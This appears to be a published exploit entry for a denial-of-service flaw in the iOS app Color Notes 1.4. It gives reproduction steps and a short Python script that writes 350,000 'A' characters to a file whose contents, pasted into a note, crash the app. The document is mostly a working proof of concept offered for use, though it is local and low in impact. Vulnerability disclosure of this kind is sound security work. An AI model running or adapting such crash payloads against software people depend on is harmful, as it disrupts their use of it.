Color Notes 1.4 – Denial of Service (PoC)

Exploit Source

# Exploit Title: Color Notes 1.4 - Denial of Service (PoC)

# Date: 06-04-2021

# Author: Geovanni Ruiz

# Download Link: https://apps.apple.com/gt/app/color-notes/id830515136

# Version: 1.4

# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #

# Open the program.

# Create a new Note.

# Run the python exploit script payload.py, it will create a new payload.txt file

# Copy the content of the file "payload.txt"

# Paste the content from payload.txt twice in the new Note.

# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####

--> payload.py <--

#!/usr/bin/env python

buffer = "\x41" * 350000

try:

f = open("payload.txt","w")

f.write(buffer)

f.close()

print ("File created")

except:

print ("File cannot be created")
